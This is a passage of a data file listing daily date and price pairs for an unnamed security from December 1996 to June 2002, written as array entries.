['19961227',1.7460],
['19961230',1.7380],
['19961231',1.8440],
['19970103',1.8440],
['19970106',1.7870],
['19970107',1.7870],
['19970108',1.7870],
['19970109',1.7790],
['19970110',1.7620],
['19970113',1.7620],
['19970114',1.7700],
['19970115',1.7540],
['19970116',1.7130],
['19970117',1.6720],
['19970120',1.7290],
['19970121',1.7620],
['19970122',1.7790],
['19970123',1.7870],
['19970124',1.8190],
['19970127',1.8440],
['19970128',1.8280],
['19970129',1.8280],
['19970130',1.8110],
['19970131',1.8690],
['19970203',1.8690],
['19970204',1.8360],
['19970205',1.8190],
['19970206',1.8190],
['19970211',1.8360],
['19970212',1.8690],
['19970213',1.9590],
['19970214',2.0240],
['19970217',2.0980],
['19970218',2.0570],
['19970219',2.0490],
['19970220',2.0330],
['19970221',2.0080],
['19970224',1.9510],
['19970225',1.9920],
['19970226',1.9750],
['19970227',1.9420],
['19970228',1.9340],
['19970303',1.9340],
['19970304',1.9180],
['19970305',1.9100],
['19970306',1.8850],
['19970307',1.8930],
['19970310',1.8930],
['19970311',1.8930],
['19970312',1.8850],
['19970313',1.8770],
['19970314',1.8770],
['19970317',1.8440],
['19970318',1.8520],
['19970319',1.8440],
['19970320',1.8440],
['19970321',1.7380],
['19970324',1.7700],
['19970325',1.7790],
['19970326',1.8030],
['19970327',1.8030],
['19970331',1.8280],
['19970401',1.7790],
['19970402',1.7620],
['19970403',1.7870],
['19970404',1.8030],
['19970407',1.8030],
['19970408',1.8190],
['19970409',1.8280],
['19970410',1.8280],
['19970411',1.8440],
['19970414',1.7870],
['19970415',1.7950],
['19970416',1.8110],
['19970417',1.8030],
['19970421',1.8190],
['19970422',1.8030],
['19970423',1.8190],
['19970424',1.8190],
['19970425',1.8030],
['19970428',1.8030],
['19970429',1.7620],
['19970430',1.7700],
['19970502',1.7460],
['19970505',1.7460],
['19970506',1.8030],
['19970507',1.7700],
['19970508',1.7540],
['19970509',1.7050],
['19970512',1.7540],
['19970513',1.7870],
['19970514',1.7540],
['19970515',1.7210],
['19970516',1.7210],
['19970519',1.6720],
['19970520',1.6880],
['19970522',1.7620],
['19970523',1.6880],
['19970526',1.7050],
['19970527',1.7050],
['19970528',1.7130],
['19970529',1.7130],
['19970530',1.6970],
['19970602',1.6880],
['19970603',1.6970],
['19970604',1.6970],
['19970605',1.6640],
['19970606',1.6560],
['19970609',1.6880],
['19970610',1.6800],
['19970611',1.6800],
['19970612',1.6560],
['19970613',1.6390],
['19970616',1.6390],
['19970617',1.6470],
['19970618',1.6560],
['19970619',1.6640],
['19970620',1.6640],
['19970623',1.6800],
['19970624',1.6800],
['19970625',1.6800],
['19970626',1.6800],
['19970627',1.6800],
['19970630',1.6800],
['19970701',1.6800],
['19970702',1.6390],
['19970703',1.6310],
['19970704',1.6470],
['19970707',1.6390],
['19970708',1.6390],
['19970709',1.6470],
['19970710',1.6390],
['19970711',1.6390],
['19970714',1.6720],
['19970715',1.6640],
['19970716',1.6640],
['19970717',1.6720],
['19970718',1.6800],
['19970721',1.6720],
['19970722',1.6640],
['19970723',1.6800],
['19970724',1.6800],
['19970725',1.7290],
['19970728',1.7210],
['19970729',1.7050],
['19970730',1.7050],
['19970731',1.7050],
['19970801',1.7130],
['19970804',1.7130],
['19970805',1.7050],
['19970806',1.6880],
['19970807',1.6880],
['19970808',1.7050],
['19970811',1.7050],
['19970812',1.7050],
['19970813',1.7050],
['19970814',1.7050],
['19970815',1.7050],
['19970818',1.7210],
['19970819',1.6970],
['19970820',1.7380],
['19970821',1.7380],
['19970822',1.7210],
['19970825',1.6800],
['19970826',1.6800],
['19970827',1.6800],
['19970828',1.6060],
['19970829',1.5570],
['19970901',1.5570],
['19970902',1.5410],
['19970903',1.5980],
['19970904',1.5410],
['19970905',1.5240],
['19970908',1.5240],
['19970909',1.5330],
['19970910',1.5240],
['19970911',1.5240],
['19970912',1.5240],
['19970915',1.5240],
['19970916',1.4750],
['19970917',1.4920],
['19970918',1.5240],
['19970919',1.4920],
['19970922',1.5080],
['19970923',1.5080],
['19970924',1.5160],
['19970925',1.5160],
['19970926',1.5240],
['19970929',1.5160],
['19970930',1.5160],
['19971001',1.5080],
['19971002',1.5080],
['19971003',1.5240],
['19971006',1.5160],
['19971007',1.5240],
['19971008',1.5410],
['19971009',1.5160],
['19971010',1.5410],
['19971013',1.5410],
['19971014',1.5240],
['19971015',1.5000],
['19971016',1.4750],
['19971017',1.4670],
['19971020',1.4670],
['19971021',1.4510],
['19971022',1.3930],
['19971023',1.2700],
['19971024',1.2790],
['19971027',1.2620],
['19971028',1.2620],
['19971029',1.1970],
['19971031',1.2050],
['19971103',1.2540],
['19971104',1.2700],
['19971105',1.2620],
['19971106',1.2620],
['19971107',1.2460],
['19971110',1.2460],
['19971111',1.2290],
['19971112',1.2290],
['19971113',1.2290],
['19971114',1.2290],
['19971117',1.1880],
['19971118',1.1720],
['19971119',1.0410],
['19971120',1.0240],
['19971121',1.0240],
['19971124',1.0240],
['19971125',1.0160],
['19971126',1.0160],
['19971127',1.0240],
['19971128',1.0000],
['19971201',0.9670],
['19971202',0.9430],
['19971203',0.9430],
['19971204',0.9510],
['19971205',0.9670],
['19971208',0.9670],
['19971209',0.9590],
['19971210',0.9840],
['19971211',0.9750],
['19971212',0.9750],
['19971215',0.9590],
['19971216',0.9510],
['19971217',0.9510],
['19971218',0.9670],
['19971219',0.9670],
['19971222',0.9430],
['19971223',0.9430],
['19971224',0.9430],
['19971226',0.9430],
['19971229',0.9340],
['19971230',0.9430],
['19971231',0.9430],
['19980102',0.9430],
['19980105',0.9590],
['19980106',0.9260],
['19980107',0.8440],
['19980108',0.7950],
['19980109',0.7130],
['19980112',0.6560],
['19980113',0.6720],
['19980114',0.7210],
['19980115',0.7050],
['19980116',0.7050],
['19980119',0.7460],
['19980120',0.7290],
['19980121',0.7250],
['19980122',0.6720],
['19980123',0.6600],
['19980126',0.6310],
['19980127',0.6310],
['19980202',0.6970],
['19980203',0.7210],
['19980204',0.6840],
['19980205',0.6970],
['19980206',0.8200],
['19980209',0.8280],
['19980210',0.8770],
['19980211',0.8930],
['19980212',0.8360],
['19980213',0.7910],
['19980216',0.7870],
['19980217',0.8150],
['19980218',0.8360],
['19980219',0.8520],
['19980220',0.8520],
['19980223',0.8850],
['19980224',0.9430],
['19980225',0.9750],
['19980226',0.9670],
['19980227',0.9590],
['19980302',0.9100],
['19980303',0.8850],
['19980304',0.8850],
['19980305',0.9180],
['19980306',0.8690],
['19980309',0.8520],
['19980310',0.8690],
['19980311',0.8690],
['19980312',0.8770],
['19980313',0.9180],
['19980316',0.9430],
['19980317',0.9510],
['19980318',0.9670],
['19980319',1.0410],
['19980320',1.0900],
['19980323',1.1390],
['19980324',1.1720],
['19980325',1.1880],
['19980326',1.1800],
['19980327',1.1390],
['19980330',1.0900],
['19980331',1.1060],
['19980401',1.0490],
['19980402',1.0330],
['19980403',1.0080],
['19980406',0.9840],
['19980408',1.0330],
['19980409',1.0650],
['19980413',1.0490],
['19980414',1.0490],
['19980415',0.9840],
['19980416',0.9920],
['19980417',1.0000],
['19980420',0.9920],
['19980421',0.9920],
['19980422',1.0000],
['19980423',1.0000],
['19980424',1.0000],
['19980427',1.0080],
['19980428',0.9750],
['19980429',0.9750],
['19980430',0.9840],
['19980504',0.9750],
['19980505',0.9670],
['19980506',0.9260],
['19980507',0.9180],
['19980508',0.9260],
['19980512',0.9180],
['19980513',0.9020],
['19980514',0.8850],
['19980515',0.8440],
['19980518',0.8360],
['19980519',0.8280],
['19980520',0.7660],
['19980521',0.7790],
['19980522',0.7620],
['19980525',0.7660],
['19980526',0.7380],
['19980527',0.7380],
['19980528',0.7210],
['19980529',0.7130],
['19980601',0.7050],
['19980602',0.7050],
['19980603',0.7050],
['19980604',0.6840],
['19980605',0.6800],
['19980608',0.6470],
['19980609',0.6560],
['19980610',0.6560],
['19980611',0.6470],
['19980612',0.6560],
['19980615',0.6520],
['19980616',0.6430],
['19980617',0.6560],
['19980618',0.6560],
['19980619',0.6800],
['19980622',0.6800],
['19980623',0.6720],
['19980624',0.6800],
['19980625',0.6720],
['19980626',0.6720],
['19980629',0.6560],
['19980630',0.6560],
['19980701',0.6560],
['19980702',0.6600],
['19980703',0.6640],
['19980706',0.6560],
['19980707',0.6560],
['19980708',0.6560],
['19980709',0.6560],
['19980710',0.6390],
['19980713',0.6150],
['19980714',0.5900],
['19980715',0.5900],
['19980716',0.5860],
['19980717',0.5860],
['19980720',0.5860],
['19980721',0.5820],
['19980722',0.5820],
['19980723',0.5740],
['19980724',0.5820],
['19980727',0.5780],
['19980728',0.5740],
['19980729',0.5490],
['19980730',0.5570],
['19980731',0.5610],
['19980803',0.5450],
['19980804',0.5530],
['19980805',0.5450],
['19980806',0.5450],
['19980807',0.5410],
['19980811',0.5160],
['19980812',0.5080],
['19980813',0.5080],
['19980814',0.5000],
['19980817',0.4960],
['19980818',0.4960],
['19980819',0.5330],
['19980820',0.5410],
['19980821',0.5450],
['19980824',0.5330],
['19980825',0.5330],
['19980826',0.5330],
['19980827',0.5370],
['19980828',0.5330],
['19980831',0.5250],
['19980901',0.5160],
['19980902',0.5160],
['19980903',0.4960],
['19980904',0.4840],
['19980907',0.5330],
['19980908',0.5330],
['19980909',0.5330],
['19980910',0.5330],
['19980911',0.5290],
['19980914',0.5330],
['19980915',0.5330],
['19980916',0.5410],
['19980917',0.5570],
['19980918',0.5530],
['19980921',0.5740],
['19980922',0.5740],
['19980923',0.5610],
['19980924',0.5740],
['19980925',0.5740],
['19980928',0.5700],
['19980929',0.5570],
['19980930',0.5740],
['19981001',0.5740],
['19981002',0.5570],
['19981005',0.5490],
['19981006',0.5490],
['19981007',0.5570],
['19981008',0.6560],
['19981009',0.7380],
['19981012',0.7420],
['19981013',0.7210],
['19981014',0.7170],
['19981015',0.7250],
['19981016',0.7700],
['19981020',0.7660],
['19981021',0.8110],
['19981022',0.7950],
['19981023',0.7700],
['19981026',0.7620],
['19981027',0.8030],
['19981028',0.8200],
['19981029',0.8440],
['19981030',0.8610],
['19981102',0.9180],
['19981103',0.9510],
['19981104',0.9920],
['19981105',0.9750],
['19981106',0.9590],
['19981109',0.8610],
['19981110',0.8280],
['19981111',0.8850],
['19981112',0.8850],
['19981113',0.8850],
['19981116',0.8850],
['19981117',0.8770],
['19981118',0.8930],
['19981119',0.9260],
['19981120',1.0080],
['19981123',0.9840],
['19981124',1.0080],
['19981125',0.9750],
['19981126',1.0000],
['19981127',0.9840],
['19981130',1.0000],
['19981201',1.0240],
['19981202',1.0490],
['19981203',1.0410],
['19981204',1.0410],
['19981207',1.0650],
['19981208',1.1150],
['19981209',1.2130],
['19981210',1.2620],
['19981211',1.4830],
['19981214',1.4100],
['19981215',1.3610],
['19981216',1.3280],
['19981217',1.3030],
['19981218',1.3280],
['19981221',1.2950],
['19981222',1.2700],
['19981223',1.2210],
['19981224',1.2130],
['19981228',1.1880],
['19981229',1.2050],
['19981230',1.2290],
['19981231',1.2380],
['19990104',1.2540],
['19990105',1.2460],
['19990106',1.3360],
['19990107',1.3360],
['19990108',1.3610],
['19990111',1.3280],
['19990112',1.3360],
['19990113',1.3030],
['19990114',1.2790],
['19990115',1.2540],
['19990118',1.2870],
['19990120',1.2870],
['19990121',1.2870],
['19990122',1.2950],
['19990125',1.1970],
['19990126',1.2290],
['19990127',1.2290],
['19990128',1.2130],
['19990129',1.1880],
['19990201',1.1720],
['19990202',1.1470],
['19990203',1.1060],
['19990204',1.1150],
['19990205',1.0820],
['19990208',1.0570],
['19990209',1.0240],
['19990210',1.0410],
['19990211',1.1150],
['19990212',1.0900],
['19990215',1.0900],
['19990218',1.1060],
['19990219',1.1150],
['19990222',1.1150],
['19990223',1.1470],
['19990224',1.1560],
['19990225',1.1800],
['19990226',1.1970],
['19990301',1.1800],
['19990302',1.1880],
['19990303',1.1720],
['19990304',1.1800],
['19990305',1.1880],
['19990308',1.1800],
['19990309',1.1470],
['19990310',1.1720],
['19990311',1.2050],
['19990312',1.3110],
['19990315',1.2620],
['19990316',1.2290],
['19990317',1.2380],
['19990318',1.2620],
['19990319',1.3610],
['19990322',1.4180],
['19990323',1.4180],
['19990324',1.4100],
['19990325',1.4180],
['19990326',1.4180],
['19990330',1.4180],
['19990331',1.4590],
['19990401',1.4510],
['19990405',1.5080],
['19990406',1.5650],
['19990407',1.5650],
['19990408',1.5410],
['19990409',1.5490],
['19990412',1.5330],
['19990413',1.5410],
['19990414',1.5570],
['19990415',1.5240],
['19990416',1.5240],
['19990419',1.5410],
['19990420',1.5080],
['19990421',1.5410],
['19990422',1.5410],
['19990423',1.7290],
['19990426',1.8190],
['19990427',1.7540],
['19990428',1.7290],
['19990429',1.8770],
['19990430',2.0410],
['19990503',1.9750],
['19990504',1.9340],
['19990505',1.9510],
['19990506',1.8850],
['19990507',1.7950],
['19990510',1.8770],
['19990511',1.8440],
['19990512',1.8930],
['19990513',1.8770],
['19990514',1.8360],
['19990517',1.8440],
['19990518',1.8770],
['19990519',1.8850],
['19990520',1.8850],
['19990521',1.8690],
['19990524',1.8280],
['19990525',1.8190],
['19990526',1.7290],
['19990527',1.7130],
['19990528',1.6390],
['19990531',1.6230],
['19990601',1.6640],
['19990602',1.6720],
['19990603',1.6310],
['19990604',1.6060],
['19990607',1.5980],
['19990608',1.6470],
['19990609',1.6310],
['19990610',1.7050],
['19990611',1.7700],
['19990614',1.7950],
['19990615',1.7950],
['19990616',1.8030],
['19990617',1.7870],
['19990618',1.7620],
['19990621',1.7790],
['19990622',1.7700],
['19990623',1.8600],
['19990624',1.8190],
['19990625',1.8030],
['19990628',1.7620],
['19990629',1.8190],
['19990630',1.7950],
['19990701',1.8280],
['19990702',1.8280],
['19990705',1.7620],
['19990706',1.6970],
['19990707',1.7460],
['19990708',1.7290],
['19990709',1.7210],
['19990712',1.6640],
['19990713',1.6390],
['19990714',1.6970],
['19990715',1.6880],
['19990716',1.5900],
['19990719',1.5740],
['19990720',1.6060],
['19990721',1.5490],
['19990722',1.5650],
['19990723',1.5490],
['19990726',1.5160],
['19990727',1.5570],
['19990728',1.5900],
['19990729',1.6390],
['19990730',1.6640],
['19990802',1.6720],
['19990803',1.6470],
['19990804',1.6390],
['19990805',1.5820],
['19990806',1.5570],
['19990810',1.5330],
['19990811',1.5160],
['19990812',1.4920],
['19990813',1.5000],
['19990816',1.4670],
['19990817',1.4340],
['19990818',1.4670],
['19990819',1.4670],
['19990820',1.5080],
['19990823',1.5570],
['19990824',1.5160],
['19990825',1.5160],
['19990826',1.5410],
['19990827',1.5740],
['19990830',1.5080],
['19990831',1.4830],
['19990901',1.5160],
['19990902',1.4590],
['19990903',1.4670],
['19990906',1.4510],
['19990907',1.4260],
['19990908',1.4340],
['19990909',1.4340],
['19990910',1.4340],
['19990913',1.4340],
['19990914',1.4340],
['19990915',1.4340],
['19990916',1.4180],
['19990917',1.4260],
['19990920',1.4260],
['19990921',1.4420],
['19990922',1.4510],
['19990923',1.4260],
['19990924',1.3930],
['19990927',1.3930],
['19990928',1.3930],
['19990929',1.3770],
['19990930',1.3930],
['19991001',1.4100],
['19991004',1.4340],
['19991005',1.5160],
['19991006',1.5080],
['19991007',1.5160],
['19991008',1.5330],
['19991011',1.5240],
['19991012',1.5410],
['19991013',1.5160],
['19991014',1.5240],
['19991015',1.5000],
['19991018',1.4510],
['19991019',1.4420],
['19991020',1.4590],
['19991021',1.4590],
['19991022',1.4590],
['19991025',1.4590],
['19991026',1.4830],
['19991027',1.4750],
['19991028',1.5000],
['19991029',1.5000],
['19991101',1.5160],
['19991102',1.5160],
['19991103',1.5900],
['19991104',1.5740],
['19991105',1.5980],
['19991109',1.5570],
['19991110',1.5570],
['19991111',1.5650],
['19991112',1.5570],
['19991115',1.5650],
['19991116',1.5900],
['19991117',1.5740],
['19991118',1.5740],
['19991119',1.5740],
['19991122',1.5570],
['19991123',1.5570],
['19991124',1.5410],
['19991125',1.5410],
['19991126',1.5410],
['19991129',1.5490],
['19991130',1.5240],
['19991201',1.5160],
['19991202',1.5080],
['19991203',1.5240],
['19991206',1.4830],
['19991207',1.5160],
['19991208',1.5240],
['19991209',1.5330],
['19991210',1.5240],
['19991213',1.5570],
['19991214',1.5000],
['19991215',1.4750],
['19991216',1.4920],
['19991217',1.5000],
['19991220',1.4830],
['19991221',1.4750],
['19991222',1.4670],
['19991223',1.4670],
['19991224',1.5160],
['19991227',1.5410],
['19991228',1.5240],
['19991229',1.5330],
['19991230',1.5570],
['20000103',1.5650],
['20000104',1.5490],
['20000105',1.4830],
['20000106',1.4830],
['20000107',1.5000],
['20000110',1.4670],
['20000111',1.4920],
['20000112',1.4830],
['20000113',1.4510],
['20000114',1.4750],
['20000117',1.4750],
['20000118',1.4590],
['20000119',1.4420],
['20000120',1.4590],
['20000121',1.4420],
['20000124',1.4100],
['20000125',1.4100],
['20000126',1.4180],
['20000127',1.4180],
['20000128',1.4590],
['20000131',1.4420],
['20000201',1.4340],
['20000202',1.4590],
['20000203',1.4510],
['20000204',1.4590],
['20000208',1.4510],
['20000209',1.4420],
['20000210',1.4420],
['20000211',1.4510],
['20000214',1.4340],
['20000215',1.4340],
['20000216',1.4340],
['20000217',1.4340],
['20000218',1.4180],
['20000221',1.4100],
['20000222',1.4100],
['20000223',1.4100],
['20000224',1.4180],
['20000225',1.4010],
['20000228',1.4180],
['20000229',1.4010],
['20000301',1.4100],
['20000302',1.3690],
['20000303',1.3520],
['20000306',1.3440],
['20000307',1.3280],
['20000308',1.3110],
['20000309',1.3200],
['20000310',1.3200],
['20000313',1.3110],
['20000314',1.3200],
['20000315',1.3200],
['20000317',1.3520],
['20000320',1.3280],
['20000321',1.3770],
['20000322',1.3850],
['20000323',1.3610],
['20000324',1.3930],
['20000327',1.3770],
['20000328',1.3770],
['20000329',1.3770],
['20000330',1.3850],
['20000331',1.3610],
['20000403',1.3770],
['20000404',1.3690],
['20000405',1.3280],
['20000406',1.3280],
['20000407',1.3360],
['20000410',1.3280],
['20000411',1.3280],
['20000412',1.3360],
['20000413',1.3030],
['20000414',1.4100],
['20000417',1.3110],
['20000418',1.2950],
['20000419',1.3110],
['20000420',1.3110],
['20000424',1.2700],
['20000425',1.2620],
['20000426',1.2950],
['20000427',1.3110],
['20000428',1.3200],
['20000502',1.3360],
['20000503',1.2870],
['20000504',1.3110],
['20000505',1.3110],
['20000508',1.3110],
['20000509',1.3030],
['20000510',1.2790],
['20000511',1.2790],
['20000512',1.2790],
['20000515',1.2790],
['20000516',1.2790],
['20000517',1.2790],
['20000519',1.2620],
['20000522',1.2540],
['20000523',1.2380],
['20000524',1.2290],
['20000525',1.2210],
['20000526',1.1720],
['20000529',1.1470],
['20000530',1.1150],
['20000531',1.1150],
['20000601',1.1230],
['20000602',1.1390],
['20000605',1.1560],
['20000606',1.1560],
['20000607',1.1720],
['20000608',1.1640],
['20000609',1.1560],
['20000612',1.1880],
['20000613',1.1720],
['20000614',1.1640],
['20000615',1.1800],
['20000616',1.1880],
['20000619',1.1880],
['20000620',1.1880],
['20000621',1.2050],
['20000622',1.2050],
['20000623',1.2290],
['20000626',1.2210],
['20000627',1.1880],
['20000628',1.2050],
['20000629',1.2130],
['20000630',1.2290],
['20000703',1.2290],
['20000704',1.2290],
['20000705',1.2130],
['20000706',1.2130],
['20000707',1.1880],
['20000710',1.1880],
['20000711',1.2460],
['20000712',1.2700],
['20000713',1.2700],
['20000714',1.2700],
['20000717',1.2700],
['20000718',1.2700],
['20000719',1.2700],
['20000720',1.2700],
['20000721',1.2700],
['20000724',1.2620],
['20000725',1.2620],
['20000726',1.2620],
['20000727',1.2700],
['20000728',1.2620],
['20000731',1.2620],
['20000801',1.2620],
['20000802',1.2620],
['20000803',1.2540],
['20000804',1.2290],
['20000807',1.2380],
['20000808',1.2290],
['20000810',1.2290],
['20000811',1.2210],
['20000814',1.2290],
['20000815',1.2290],
['20000816',1.2380],
['20000817',1.2790],
['20000818',1.2620],
['20000821',1.2700],
['20000822',1.2700],
['20000823',1.2700],
['20000824',1.2790],
['20000825',1.2700],
['20000828',1.2700],
['20000829',1.2620],
['20000830',1.2620],
['20000831',1.2700],
['20000901',1.2700],
['20000904',1.2790],
['20000905',1.2790],
['20000906',1.2620],
['20000907',1.2790],
['20000908',1.2790],
['20000911',1.2790],
['20000912',1.2540],
['20000913',1.2540],
['20000914',1.2460],
['20000915',1.2460],
['20000918',1.2460],
['20000919',1.2460],
['20000920',1.2290],
['20000921',1.2210],
['20000922',1.2130],
['20000925',1.2130],
['20000926',1.2050],
['20000927',1.1800],
['20000928',1.1880],
['20000929',1.1970],
['20001002',1.1720],
['20001003',1.1640],
['20001004',1.1720],
['20001005',1.1720],
['20001006',1.1800],
['20001009',1.1640],
['20001010',1.1560],
['20001011',1.1560],
['20001012',1.1560],
['20001013',1.1390],
['20001016',1.1390],
['20001017',1.1310],
['20001018',1.1150],
['20001019',1.1470],
['20001020',1.1720],
['20001023',1.1720],
['20001024',1.1640],
['20001025',1.1390],
['20001027',1.1310],
['20001030',1.1310],
['20001031',1.1310],
['20001101',1.1310],
['20001102',1.1640],
['20001103',1.2210],
['20001106',1.1880],
['20001107',1.1970],
['20001108',1.1880],
['20001109',1.1880],
['20001110',1.2050],
['20001113',1.1970],
['20001114',1.1970],
['20001115',1.1880],
['20001116',1.1720],
['20001117',1.1560],
['20001120',1.1720],
['20001121',1.1720],
['20001122',1.1560],
['20001123',1.1640],
['20001124',1.1720],
['20001127',1.1720],
['20001128',1.1800],
['20001129',1.1720],
['20001130',1.1720],
['20001201',1.1720],
['20001204',1.1640],
['20001205',1.1720],
['20001206',1.1720],
['20001207',1.1800],
['20001208',1.1800],
['20001211',1.1880],
['20001212',1.1880],
['20001213',1.1880],
['20001214',1.1880],
['20001215',1.1880],
['20001218',1.1880],
['20001219',1.1970],
['20001220',1.2050],
['20001221',1.1970],
['20001222',1.1970],
['20001226',1.2050],
['20001228',1.2130],
['20001229',1.2050],
['20010102',1.1970],
['20010103',1.1970],
['20010104',1.2210],
['20010105',1.2210],
['20010108',1.2290],
['20010109',1.2790],
['20010110',1.3110],
['20010111',1.3110],
['20010112',1.3030],
['20010115',1.2870],
['20010116',1.2950],
['20010117',1.2790],
['20010118',1.2950],
['20010119',1.2870],
['20010122',1.2950],
['20010123',1.2950],
['20010126',1.3030],
['20010129',1.3030],
['20010130',1.3360],
['20010131',1.4010],
['20010201',1.4260],
['20010202',1.4670],
['20010205',1.4750],
['20010206',1.4590],
['20010207',1.4670],
['20010208',1.4920],
['20010209',1.4830],
['20010212',1.4830],
['20010213',1.4830],
['20010214',1.4750],
['20010215',1.4670],
['20010216',1.4830],
['20010219',1.4830],
['20010220',1.5080],
['20010221',1.5490],
['20010222',1.5240],
['20010223',1.5410],
['20010226',1.5160],
['20010227',1.5240],
['20010228',1.5240],
['20010301',1.5240],
['20010302',1.5240],
['20010305',1.5240],
['20010307',1.5330],
['20010308',1.5160],
['20010309',1.5570],
['20010312',1.5410],
['20010313',1.5000],
['20010314',1.4920],
['20010315',1.4590],
['20010316',1.4420],
['20010319',1.4010],
['20010320',1.3850],
['20010321',1.4010],
['20010322',1.5080],
['20010323',1.5080],
['20010326',1.4670],
['20010327',1.3930],
['20010328',1.3690],
['20010329',1.4010],
['20010330',1.3770],
['20010402',1.3690],
['20010403',1.3520],
['20010404',1.3280],
['20010405',1.3440],
['20010406',1.2870],
['20010409',1.3030],
['20010410',1.3030],
['20010411',1.3110],
['20010412',1.3280],
['20010416',1.3280],
['20010417',1.3200],
['20010418',1.3440],
['20010419',1.3520],
['20010420',1.3440],
['20010423',1.3440],
['20010424',1.3520],
['20010425',1.3690],
['20010426',1.4010],
['20010427',1.4100],
['20010430',1.4100],
['20010502',1.4260],
['20010503',1.4100],
['20010504',1.4100],
['20010508',1.4010],
['20010509',1.4010],
['20010510',1.4260],
['20010511',1.4180],
['20010514',1.4010],
['20010515',1.3930],
['20010516',1.4100],
['20010517',1.4260],
['20010518',1.4180],
['20010521',1.4260],
['20010522',1.4340],
['20010523',1.4420],
['20010524',1.4510],
['20010525',1.4830],
['20010528',1.4830],
['20010529',1.4670],
['20010530',1.4100],
['20010531',1.4010],
['20010601',1.4010],
['20010604',1.4010],
['20010605',1.4100],
['20010606',1.4100],
['20010607',1.4180],
['20010608',1.4340],
['20010611',1.4260],
['20010612',1.4260],
['20010613',1.4510],
['20010614',1.5570],
['20010615',1.5740],
['20010618',1.5160],
['20010619',1.5240],
['20010620',1.5330],
['20010621',1.5330],
['20010622',1.5740],
['20010625',1.5980],
['20010626',1.7050],
['20010627',1.6720],
['20010628',1.5900],
['20010629',1.6060],
['20010702',1.5820],
['20010703',1.5900],
['20010704',1.5740],
['20010705',1.5570],
['20010706',1.5650],
['20010709',1.5570],
['20010710',1.5490],
['20010711',1.5410],
['20010712',1.5490],
['20010713',1.5740],
['20010716',1.5820],
['20010717',1.5570],
['20010718',1.5740],
['20010719',1.5650],
['20010720',1.5900],
['20010723',1.5240],
['20010724',1.5490],
['20010725',1.5410],
['20010726',1.5570],
['20010727',1.5490],
['20010730',1.5650],
['20010731',1.5650],
['20010801',1.5740],
['20010802',1.5650],
['20010803',1.5410],
['20010806',1.5570],
['20010807',1.5490],
['20010808',1.5570],
['20010810',1.5650],
['20010813',1.5570],
['20010814',1.5740],
['20010815',1.5650],
['20010816',1.5820],
['20010817',1.5820],
['20010820',1.5820],
['20010821',1.5820],
['20010822',1.5740],
['20010823',1.5900],
['20010824',1.5900],
['20010827',1.5980],
['20010828',1.5980],
['20010829',1.5800],
['20010830',1.5800],
['20010831',1.5700],
['20010903',1.5600],
['20010904',1.5500],
['20010905',1.5400],
['20010906',1.5600],
['20010907',1.6000],
['20010910',1.5800],
['20010911',1.5800],
['20010912',1.5300],
['20010913',1.5000],
['20010914',1.4400],
['20010917',1.2800],
['20010918',1.2500],
['20010919',1.2900],
['20010920',1.2700],
['20010921',1.2100],
['20010924',1.2200],
['20010925',1.2400],
['20010926',1.2600],
['20010927',1.3200],
['20010928',1.3700],
['20011001',1.3700],
['20011002',1.3800],
['20011003',1.3800],
['20011004',1.4300],
['20011005',1.4200],
['20011008',1.3900],
['20011009',1.4100],
['20011010',1.3600],
['20011011',1.4100],
['20011012',1.4100],
['20011015',1.3700],
['20011016',1.3700],
['20011017',1.3800],
['20011018',1.3800],
['20011019',1.3800],
['20011022',1.3700],
['20011023',1.3700],
['20011024',1.4000],
['20011025',1.4000],
['20011026',1.4000],
['20011029',1.3800],
['20011030',1.3900],
['20011031',1.3900],
['20011101',1.3700],
['20011102',1.4000],
['20011105',1.3800],
['20011106',1.3600],
['20011107',1.3200],
['20011108',1.3400],
['20011109',1.3800],
['20011112',1.4000],
['20011113',1.4000],
['20011115',1.4200],
['20011116',1.4100],
['20011119',1.4400],
['20011120',1.4300],
['20011121',1.4600],
['20011122',1.4700],
['20011123',1.4600],
['20011126',1.5400],
['20011127',1.5400],
['20011128',1.5300],
['20011129',1.5200],
['20011130',1.5400],
['20011203',1.5400],
['20011204',1.5500],
['20011205',1.5700],
['20011206',1.5600],
['20011207',1.6200],
['20011210',1.5500],
['20011211',1.5600],
['20011212',1.5600],
['20011213',1.5600],
['20011214',1.5600],
['20011218',1.5500],
['20011219',1.5700],
['20011220',1.5800],
['20011221',1.5400],
['20011224',1.6200],
['20011226',1.6100],
['20011227',1.6300],
['20011228',1.6700],
['20011231',1.7100],
['20020102',1.7500],
['20020103',1.7400],
['20020104',1.7400],
['20020107',1.7300],
['20020108',1.7000],
['20020109',1.6900],
['20020110',1.7100],
['20020111',1.6900],
['20020114',1.7000],
['20020115',1.7200],
['20020116',1.6800],
['20020117',1.6900],
['20020118',1.7000],
['20020121',1.6900],
['20020122',1.6900],
['20020123',1.6900],
['20020124',1.7000],
['20020125',1.7100],
['20020128',1.7500],
['20020129',1.7600],
['20020130',1.7500],
['20020131',1.7500],
['20020201',1.8200],
['20020204',1.8300],
['20020205',1.7700],
['20020206',1.7900],
['20020207',1.7800],
['20020208',1.7900],
['20020211',1.7900],
['20020214',1.8100],
['20020215',1.8000],
['20020218',1.7900],
['20020219',1.8000],
['20020220',1.8000],
['20020221',1.7800],
['20020222',1.7000],
['20020225',1.6900],
['20020226',1.7000],
['20020227',1.7200],
['20020228',1.7100],
['20020301',1.7200],
['20020304',1.7700],
['20020305',1.7700],
['20020306',1.7800],
['20020307',1.7800],
['20020308',1.7800],
['20020311',1.8100],
['20020312',1.8000],
['20020313',1.8000],
['20020314',1.8100],
['20020315',1.8500],
['20020318',1.8600],
['20020319',1.8800],
['20020320',1.8500],
['20020321',1.8600],
['20020322',1.8800],
['20020325',1.8800],
['20020326',1.8700],
['20020327',1.8600],
['20020328',1.8600],
['20020401',1.8500],
['20020402',1.8500],
['20020403',1.8400],
['20020404',1.8300],
['20020405',1.8400],
['20020408',1.8300],
['20020409',1.8300],
['20020410',1.7900],
['20020411',1.8300],
['20020412',1.8600],
['20020415',1.8100],
['20020416',1.8400],
['20020417',1.8400],
['20020418',1.8000],
['20020419',1.8300],
['20020422',1.8300],
['20020423',1.8600],
['20020424',1.8500],
['20020425',1.8500],
['20020426',1.8300],
['20020429',1.8400],
['20020430',1.8400],
['20020502',1.8600],
['20020503',1.8500],
['20020506',1.8500],
['20020507',1.8600],
['20020508',1.8600],
['20020509',1.8600],
['20020510',1.8800],
['20020513',1.8900],
['20020514',1.9100],
['20020515',1.9100],
['20020516',1.8500],
['20020517',1.8300],
['20020520',1.8500],
['20020521',1.8600],
['20020522',1.8600],
['20020523',1.9000],
['20020524',1.9000],
['20020528',1.9100],
['20020529',1.9100],
['20020530',2.0000],
['20020531',1.9900],
['20020603',1.9600],
['20020604',1.9600],
['20020605',1.9800],
